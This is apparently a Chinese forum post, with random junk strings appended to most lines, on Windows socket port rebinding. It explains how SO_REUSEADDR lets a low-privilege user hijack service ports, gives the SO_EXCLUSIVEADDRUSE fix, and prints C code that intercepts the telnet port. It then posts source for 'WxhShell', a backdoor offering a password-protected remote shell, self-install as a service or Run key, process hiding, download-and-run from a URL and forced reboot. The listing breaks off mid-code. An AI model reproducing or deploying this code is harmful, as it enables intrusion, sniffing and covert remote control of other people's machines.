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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Pw^ lp'dO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a]<y*N?qu  
;_.%S*W\  
  saddr.sin_family = AF_INET; |G+6R-_  
^MyuD?va  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p?mQ\O8F  
l@x/{0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1]L 0r  
?F@0"qi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hcvWf\4'#q  
t,*hxzD"  
  这意味着什么?意味着可以进行如下的攻击: jXBAo  
r>=)Y32Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \;z *j|;B  
p nS{W \Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >AT{\W!N  
E1U~ ew  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A8?uCkG  
&*wN@e(c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @O7hY8",  
H1]An'qz,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q;dg,Om  
wt;7+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *CHLs^)   
vjy59m  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yw|O,V<4N  
3x=f}SO&  
  #include jt?937{  
  #include pXfg{2  
  #include 2qY`*Y.2  
  #include    ,\ y)k}0lH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x \.q zi  
  int main() vJheM*C  
  { |U*wMYC  
  WORD wVersionRequested; !2)$lM1@J  
  DWORD ret; SjT8 eH #  
  WSADATA wsaData; 3d qj:4[f  
  BOOL val; cxBu2( Y  
  SOCKADDR_IN saddr; Hshm;\'  
  SOCKADDR_IN scaddr; (x{6N^J.t  
  int err; RR u1/nam  
  SOCKET s; 1LbJR'}  
  SOCKET sc; T)"B35  
  int caddsize; pDGX$1O"  
  HANDLE mt; lKo07s6u  
  DWORD tid;   z\z mAus  
  wVersionRequested = MAKEWORD( 2, 2 ); vJ__jO"Sq  
  err = WSAStartup( wVersionRequested, &wsaData ); rkF]Q_'`t;  
  if ( err != 0 ) { |IbCN  
  printf("error!WSAStartup failed!\n"); _5F8F4QY`  
  return -1; 0XCtw6  
  } $ e<&7  
  saddr.sin_family = AF_INET; i ez@j  
   -^m]Tb<u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 29(s^#e8A  
q[l!kC+Eh  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \,<5U F0  
  saddr.sin_port = htons(23); zJnF#G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0v%ZKvSID  
  { $"z|^ze  
  printf("error!socket failed!\n"); 0ZY.~b'eu  
  return -1; Ax*=kZmH|  
  } |p"P+"#  
  val = TRUE;  ~yQby&s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P8l x\DA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `uz15])1<  
  { $9pFRQC'q  
  printf("error!setsockopt failed!\n"); KTV~g@Jf  
  return -1; Yx4TUA$c'  
  } oMH-mG7:K  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :J|t! `  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F ] e]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =-XI)JV#  
0{0|M8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  jpc bW  
  { YK[PC]w  
  ret=GetLastError(); r=Up-(j  
  printf("error!bind failed!\n"); PNwXZ/N%  
  return -1; -e6~0%X  
  } K:PPZ|  
  listen(s,2); E1(2wJ-3"  
  while(1) KkVFY+/)  
  { N"X;aVFs_  
  caddsize = sizeof(scaddr); ?[ n{M  
  //接受连接请求 a}~Xns  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y8=(k}=3  
  if(sc!=INVALID_SOCKET) NA5AR*f'  
  { B3Id}[V  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xr54/.{&@  
  if(mt==NULL) fA HK<G4  
  { Algk4zfK2,  
  printf("Thread Creat Failed!\n"); '~2S BX?J  
  break; 02U5N(s  
  } *=OU~68)C  
  } iNn]~L1  
  CloseHandle(mt); |a7W@LVYD  
  } 1Ner1EKGp  
  closesocket(s); a1lF8;[  
  WSACleanup(); os|Y=a  
  return 0; NdpcfZ q  
  }   RrMC[2=  
  DWORD WINAPI ClientThread(LPVOID lpParam) iGG;  
  { MdzG2uZT  
  SOCKET ss = (SOCKET)lpParam; jS LNQ  
  SOCKET sc; `~zY!sK  
  unsigned char buf[4096]; GfEg][f  
  SOCKADDR_IN saddr; @<$-*,  
  long num; ig Mm.1>  
  DWORD val; W2CCLq1(  
  DWORD ret; mez )G|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [ugBVnma  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fmuAX w>  
  saddr.sin_family = AF_INET; QLx]%E\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b2x8t7%O  
  saddr.sin_port = htons(23); FBn`sS8hH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ep/kb-~-  
  { [nQ<pTg~r  
  printf("error!socket failed!\n"); N1dp%b9W(  
  return -1; 9cJzL"yi  
  } ]s3U+t?  
  val = 100; h^{D "  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z)RoFD1]C  
  { o.qeF4\d6  
  ret = GetLastError(); x.Sq2rw]V  
  return -1; YQU #aOl  
  } P<AN`un  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dA;f`Bi;Q  
  { pNY+E5  
  ret = GetLastError(); !{@!:m3w  
  return -1; d|UK=B^x  
  } Za+26#g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -"u9s[L{  
  { ;Drt4fOxX  
  printf("error!socket connect failed!\n"); -p|@Enn  
  closesocket(sc); 577H{;pW  
  closesocket(ss); /ESmQc:DWB  
  return -1; yFp8 >  
  } Gy*6I)l  
  while(1) hhu !'(j  
  { Isa]5>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *ujn+0)[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `WDN T0@M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _e/>CiN/  
  num = recv(ss,buf,4096,0); -J?i6BHb  
  if(num>0) n@9*>D U  
  send(sc,buf,num,0); E 9=a+l9  
  else if(num==0) ZqaCe>  
  break; ;x.xj/7  
  num = recv(sc,buf,4096,0); sxq'uF(K  
  if(num>0) $0[T=9q <+  
  send(ss,buf,num,0); MjIp~?*  
  else if(num==0) tOn_S@/r  
  break; n !ty\E  
  } L_Q1:nL-0  
  closesocket(ss); 'Wv=mBEfZ  
  closesocket(sc); Do3;-yp>`  
  return 0 ; -\mbrbG9H  
  } 3c<). aC0f  
Y|bCbaF  
:-x F=Y(;  
========================================================== S<Zb>9pl  
w!{g^*R+!  
下边附上一个代码,,WXhSHELL v1 h*/#  
K8 Y/sHl  
========================================================== j(Tt-a("z  
pVTx# rY  
#include "stdafx.h" ]d]tQPEU  
D'y/ pv}!  
#include <stdio.h> 4zyy   
#include <string.h> 2" (vjnfH  
#include <windows.h> ]-O/{FIv  
#include <winsock2.h> xviz{M9g  
#include <winsvc.h> wy3{>A Z(  
#include <urlmon.h> sWp]Zy  
\TM%,RC3K  
#pragma comment (lib, "Ws2_32.lib") \hSOJ,{)U  
#pragma comment (lib, "urlmon.lib") ~2Jvb[IM  
p"Ki$.Y  
#define MAX_USER   100 // 最大客户端连接数 ]HoQ6R\E b  
#define BUF_SOCK   200 // sock buffer Z_&6 <1,H  
#define KEY_BUFF   255 // 输入 buffer /p| ]*={  
wpw~[xd  
#define REBOOT     0   // 重启 SOo/~ giz|  
#define SHUTDOWN   1   // 关机 C!N&uNp@s  
f]F]wg\_f  
#define DEF_PORT   5000 // 监听端口 {5}UP@h  
`.PZx%=  
#define REG_LEN     16   // 注册表键长度 ax7]>Z=%d"  
#define SVC_LEN     80   // NT服务名长度 N~H9|CX  
r0=Aru5n  
// 从dll定义API a}l^+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \ ]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RH+3x7 l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7o?6Pv%HJC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `PI,tmv!  
WZ}c)r*R  
// wxhshell配置信息 XjpFJ#T*$A  
struct WSCFG { AtNu:U$  
  int ws_port;         // 监听端口 e-Z+)4fH  
  char ws_passstr[REG_LEN]; // 口令 [G{{f  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^7Q}W#jy  
  char ws_regname[REG_LEN]; // 注册表键名 LO8V*H(  
  char ws_svcname[REG_LEN]; // 服务名 w]w>yD>$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lc;4 Hg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Cs$wgm*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jdxwS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OZdiM&Zss  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2[i:bksjW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /YYI 4  
y~_wr}.CS  
}; 2T!pFcc  
; 2K_u  
// default Wxhshell configuration 09y%FzV  
struct WSCFG wscfg={DEF_PORT, Y4,~s64e  
    "xuhuanlingzhe", F0 WM&{v  
    1, |]`\ak  
    "Wxhshell", oGpyuB@A/  
    "Wxhshell", )&[S*g  
            "WxhShell Service", F3/aq+<P[  
    "Wrsky Windows CmdShell Service", $fSV8n;Y  
    "Please Input Your Password: ", -Y'Qa/:7  
  1, mXnl-_  
  "http://www.wrsky.com/wxhshell.exe", O:'UsI1Y  
  "Wxhshell.exe" j`1% a]Bwc  
    }; k mjSSh/t  
A=q)kcuy5  
// 消息定义模块 [@MV[$W5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yLFc?{~7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ] dB6--  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jvt| q5  
char *msg_ws_ext="\n\rExit."; HJT}v/FZ  
char *msg_ws_end="\n\rQuit."; 7r#U^d(  
char *msg_ws_boot="\n\rReboot..."; >YuBi:z  
char *msg_ws_poff="\n\rShutdown..."; 0?525^   
char *msg_ws_down="\n\rSave to "; I, 9!["^|  
@O b$w1c  
char *msg_ws_err="\n\rErr!"; 9:N@+;|T  
char *msg_ws_ok="\n\rOK!"; HgJ:Rf]  
+VSJve |  
char ExeFile[MAX_PATH]; dM"Suw  
int nUser = 0; 3B:U>F,]4  
HANDLE handles[MAX_USER]; U-(2;F)  
int OsIsNt; cOa.]Kk  
RYzDF+/  
SERVICE_STATUS       serviceStatus; Y3G$(+i8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h?[3{Z^  
JgXP2|Y!  
// 函数声明 [r%WVf.#d  
int Install(void); qCg`"/0  
int Uninstall(void); 24Lo .  
int DownloadFile(char *sURL, SOCKET wsh); tW;?4}JR  
int Boot(int flag); kxU <?0  
void HideProc(void); 86!"b  
int GetOsVer(void); ;pu68N(B  
int Wxhshell(SOCKET wsl); t b5k|  
void TalkWithClient(void *cs); kW>Q9Nc=V  
int CmdShell(SOCKET sock); ](yw2c;m e  
int StartFromService(void); i{zg{$U  
int StartWxhshell(LPSTR lpCmdLine); UD6D![e  
'3B`4W,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F/z$jj)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L<bZVocOb_  
Onoi^MDy  
// 数据结构和表定义 NQzpgf|h  
SERVICE_TABLE_ENTRY DispatchTable[] = =qH9<,p`H  
{ |5|^[v   
{wscfg.ws_svcname, NTServiceMain}, L|4kv  
{NULL, NULL} X6s6fu;  
}; a-\\A[E  
"5*n(S{ks  
// 自我安装 p?S:J`q  
int Install(void) e R"XXF0u  
{ |r*btyOJk  
  char svExeFile[MAX_PATH]; FT'_{e!M  
  HKEY key; vq yR aaMf  
  strcpy(svExeFile,ExeFile); S'~Zlv 3`  
~_v?M%5i  
// 如果是win9x系统,修改注册表设为自启动 |&vQ1o|}  
if(!OsIsNt) { | _/D-m*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [V'3/#Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tpw0j CVu  
  RegCloseKey(key); &>kklP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a86m?)-c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FtbqZN[  
  RegCloseKey(key); Gxk=]5<7  
  return 0; v%c r   
    } No8~~  
  } PGZ.\i  
} kb<Nuw  
else { u=B_cA}:  
QF:">G  
// 如果是NT以上系统,安装为系统服务 H'68K8i0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p] kpDx[9  
if (schSCManager!=0) x  8lgDO  
{ 1;E[Ml  
  SC_HANDLE schService = CreateService MK"PCE5^i6  
  ( zh7#[#>t  
  schSCManager, f&=y\uP]  
  wscfg.ws_svcname, ldcYw@KQ  
  wscfg.ws_svcdisp, 3\FPW1$i|[  
  SERVICE_ALL_ACCESS, *yp}#\rk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2Wz/s 0`  
  SERVICE_AUTO_START, Hm2}xnY  
  SERVICE_ERROR_NORMAL, 41 sClC"  
  svExeFile, ~J1;Z0}#  
  NULL, |0:&d w?*!  
  NULL, Ep-{Ew{T_=  
  NULL, v w$VR PW  
  NULL, .&d]7@!qy  
  NULL |@pJ]  
  ); Gs$<r~Tg  
  if (schService!=0) pnin;;D*  
  { 5P_%Vp`B2  
  CloseServiceHandle(schService); cF{5[?wS  
  CloseServiceHandle(schSCManager); xzF@v>2S+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hl}@ha4'  
  strcat(svExeFile,wscfg.ws_svcname); .QX|:]|n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =&?}qa(P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <-uE pF  
  RegCloseKey(key); v|acKux=t  
  return 0; C$`z23E  
    } l{wHu(1  
  } P1DYjm[+D  
  CloseServiceHandle(schSCManager); Ro :/J  
} CpHF3o`Z6  
} H?tonG.^(  
Kd}cf0  
return 1; J \U}U'qP  
} S N_!o2F2  
^S!^$d*  
// 自我卸载 sl^i%xJ|l'  
int Uninstall(void) ~5$V8yfx h  
{ g2%&/zq/  
  HKEY key; .Q FGIAM  
 4"72  
if(!OsIsNt) { *=i|E7Irg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7m0sF<P{g  
  RegDeleteValue(key,wscfg.ws_regname); YGrmco?G  
  RegCloseKey(key); + 5E6|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %.,-dV'  
  RegDeleteValue(key,wscfg.ws_regname); J^[>F{8!n  
  RegCloseKey(key); QUd`({/@:  
  return 0; ,^,KWi9  
  } b,kXV<KtU  
} Rb=T'x'  
} V D+TJ` r  
else { |GgFdn`>  
?_36uJo}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "e62g  
if (schSCManager!=0) NYtp&[s2-  
{ s>d@=P>R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5|YpkY  
  if (schService!=0) dn/0>|5OF(  
  { n[4F\I>  
  if(DeleteService(schService)!=0) { }R5>ja0  
  CloseServiceHandle(schService); *qKPZb~  
  CloseServiceHandle(schSCManager); vy W/f  
  return 0; 1zNH[   
  } # JHicx\8l  
  CloseServiceHandle(schService); zOA{S~>  
  } nWpqAb  
  CloseServiceHandle(schSCManager); /h'V1zL#  
} k&|L"N|w  
} 2\&uO   
K(RG:e~R0i  
return 1; ]~~PD?jh  
} UO^"<0u  
&UH .e  
// 从指定url下载文件 v-2_#  
int DownloadFile(char *sURL, SOCKET wsh) [)U|HnAJ  
{ HNN,1MN  
  HRESULT hr; hMz= \)Pl  
char seps[]= "/"; +e_NpC  
char *token; |@KW~YlE  
char *file; ZrJAfd\5c  
char myURL[MAX_PATH]; `.Z MwA  
char myFILE[MAX_PATH]; B6&PYMFK?*  
^qXc%hjg  
strcpy(myURL,sURL); '5zolp%St  
  token=strtok(myURL,seps); IB#L5yN r  
  while(token!=NULL) Dp|y&x!  
  { =$3]%b}  
    file=token; 8Z{&b,Y4L  
  token=strtok(NULL,seps); b%<-(o/  
  } bL\ab  
O'y8[<  
GetCurrentDirectory(MAX_PATH,myFILE); ''P.~~ezr5  
strcat(myFILE, "\\"); & Ji!*~sE  
strcat(myFILE, file); 6|gC##T  
  send(wsh,myFILE,strlen(myFILE),0); g[<K FVlG  
send(wsh,"...",3,0); [#S[= %  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fT1/@  
  if(hr==S_OK) <A?- *  
return 0; ]5W|^%  
else +[C(hhk("  
return 1; T+p ?VngF  
1,,kU  
} #7/;d=  
@]yd Wd  
// 系统电源模块 "<6X=|C  
int Boot(int flag) {xb8H  
{ dLl/V3C6t  
  HANDLE hToken; -Z )j"J  
  TOKEN_PRIVILEGES tkp; csP 5R3  
?m5@ 63 5  
  if(OsIsNt) { 2(V;OWY(@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e1a8>>bcI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kGm-jh  
    tkp.PrivilegeCount = 1; *'D( j#&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UMsJg7~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *aF#on{  
if(flag==REBOOT) { Dizc#!IGU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ST'M<G%4E  
  return 0; ?B> { rj  
} )U0`?kD  
else { tow0/ Jt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .OI&Zm-  
  return 0; l1*qDzb  
} !p$z8~  
  } \q9wo*A  
  else { Y'tPD#|r  
if(flag==REBOOT) { {&Kck>C'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i?" ~g!A  
  return 0; ,e\'Y!'  
} ;{mKt%#  
else { ! h7?Ap  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A2 'W  
  return 0; :^~I@)"ov  
}  ~ Dvxe  
} ~)Z{ Yj9)S  
ia#Z$I6  
return 1; tKtKW5n~  
} H +Dv-*i  
3ZRi@=kWz  
// win9x进程隐藏模块 /'KCW_Q  
void HideProc(void) nT.i|(xd.  
{ QN`K|,}H^  
1.p2{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g \]2?vY.  
  if ( hKernel != NULL ) ;MH((M/AN  
  { 5[<" _  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #O3Y#2lI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9eOP:/'}w  
    FreeLibrary(hKernel); .W4P/P w'  
  } -|s w\Q  
mO];+=3v8  
return; 39 D!e&  
} (bpO>4(S  
CG@3z@*?.  
// 获取操作系统版本 BPgY_f  
int GetOsVer(void) OU2.d7  
{ Wp7lDx  
  OSVERSIONINFO winfo; 2>%|PQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?\|QDJXY  
  GetVersionEx(&winfo); ZBw]H'sT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kg0X2^#b  
  return 1; @)[Q6w`x  
  else KtTlc#*KU  
  return 0; bs_>!H1  
} 4^4<Le-G  
Udj!y$?  
// 客户端句柄模块 KZ8Hp=s  
int Wxhshell(SOCKET wsl) 3<Qe'd ^  
{ %t&   
  SOCKET wsh; k@[\ C`P  
  struct sockaddr_in client; n=t50/jV3=  
  DWORD myID; i_/A,5TF  
mab921-n  
  while(nUser<MAX_USER) S5o\joc  
{ 1!N|a< #  
  int nSize=sizeof(client); !e>+ O^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )Z4ilpU,  
  if(wsh==INVALID_SOCKET) return 1; c*>8VW>  
}STTDq4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4oxAC; L  
if(handles[nUser]==0) n1yIQ8F  
  closesocket(wsh); Dn x` !  
else W4MU^``   
  nUser++; zG IxmJ.  
  } ANIx0*Yl(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ax"]+pb  
@4)NxdOE  
  return 0; >* Ag0.Az  
} !U 6q;' )-  
%5g(|Y]  
// 关闭 socket /x2-$a:<  
void CloseIt(SOCKET wsh) =&%}p[ 3g  
{ V47z;oMXct  
closesocket(wsh); TH[xSg  
nUser--; AW{"9f4  
ExitThread(0); .wH`9aq;5@  
} zWs ("L(#s  
G_ -8*.  
// 客户端请求句柄 xh6Yv%\@  
void TalkWithClient(void *cs) 0^lCZ,uq;  
{ 38<Z=#S  
DxM$4  
  SOCKET wsh=(SOCKET)cs; KM-d8^\:  
  char pwd[SVC_LEN]; 1>~bzXY#  
  char cmd[KEY_BUFF]; -hd@<+;E  
char chr[1]; G4&vrM,f  
int i,j; ( *&E~ g  
RpmOg  
  while (nUser < MAX_USER) { Py@/\V  
]Rk4"i  
if(wscfg.ws_passstr) { ` x|=vu-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G'#f*) f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7\0}te  
  //ZeroMemory(pwd,KEY_BUFF);  a,ff8Qm  
      i=0; Lg%3M8-W~  
  while(i<SVC_LEN) { nrEG4X9  
e=ITAH3b  
  // 设置超时 VTUY#+3  
  fd_set FdRead; 0<3->uK  
  struct timeval TimeOut; ID_#a9N  
  FD_ZERO(&FdRead); 4UxxmREx;  
  FD_SET(wsh,&FdRead); c1Rn1M,2k  
  TimeOut.tv_sec=8; ^-^ii 3G`  
  TimeOut.tv_usec=0; 634OH*6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); te[#FF3{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5eLm  
3< 'bi}{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1m~-q4D)V  
  pwd=chr[0]; W9D~:>^YP  
  if(chr[0]==0xd || chr[0]==0xa) { <5 )F9.$  
  pwd=0; z7X,5[P  
  break; S+ 3l X7  
  } {*PbD;/f  
  i++; #c%F pR4  
    } v ^R:XdH  
f1$'av  
  // 如果是非法用户,关闭 socket <9dfbI)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YB}m1 g`  
} w}qLI4  
cjp~I/U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +HT?> k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H$ZLtPv5  
91#rP|88;  
while(1) { dW5@Z-9  
,;@v Vm'}  
  ZeroMemory(cmd,KEY_BUFF); FP<mFqy  
1/ 3<u::  
      // 自动支持客户端 telnet标准   _C3O^/<n4V  
  j=0; jO0"`|(]s  
  while(j<KEY_BUFF) { PcQ\o>0")  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fW w+'xF!  
  cmd[j]=chr[0]; l`<1Y|  
  if(chr[0]==0xa || chr[0]==0xd) { ^)p+)5l   
  cmd[j]=0; ;XIDu6  
  break; IZ_?1%q>}  
  } O))YJh"'_  
  j++; C=Tq/L w  
    } {ePtZyo0  
vR7S !  
  // 下载文件 ^M)+2@6  
  if(strstr(cmd,"http://")) { 7G+E+A5o&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nv <t$r  
  if(DownloadFile(cmd,wsh)) #LR.1zZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TE9Iyl|=  
  else (M2hK[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M?_7*o]!  
  } 7n)ob![\d  
  else { /!'Png0!  
w m|WER*.  
    switch(cmd[0]) { YTD&swk  
  9|WV28PK:  
  // 帮助 ][dst@?8Oz  
  case '?': { 6DG%pF,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "Q`Le{  
    break; Ay6]vU  
  } {.])' ~[U  
  // 安装 =o:1Rc7J  
  case 'i': { 9~J#> C0}  
    if(Install()) M`&78j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x=03 WQ8  
    else t3b M4+n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t52KF#+>  
    break; -EJj j {  
    } .lAPlJOO  
  // 卸载 ;efF]")  
  case 'r': { xpJ=yxO  
    if(Uninstall()) q2P_37  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9vP#/ -g  
    else t$&'mJ_-w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zZW5M^z8  
    break; 0g2rajS  
    } \UP=pT@  
  // 显示 wxhshell 所在路径 2fgYcQ8`  
  case 'p': { Zb7%$1)L~  
    char svExeFile[MAX_PATH]; >K<cc#Aa  
    strcpy(svExeFile,"\n\r"); H;seT XL  
      strcat(svExeFile,ExeFile); Qv<p$Up6  
        send(wsh,svExeFile,strlen(svExeFile),0); `MHixQ;j  
    break; Q@uWh:  
    } Ob/i_  
  // 重启 R7 rO7M !  
  case 'b': { =M6{{lI/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5@J]#bp0M  
    if(Boot(REBOOT)) ~3Za"q*0s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mh2Zj  
    else { TBIr^n>Z<k  
    closesocket(wsh); VU1Wr|  
    ExitThread(0); "g*`G<W_s  
    } K 6yD64  
    break; ;jJ4H+8  
    } J|F!$m{  
  // 关机 ?[|A sw1t  
  case 'd': { |l-O e  
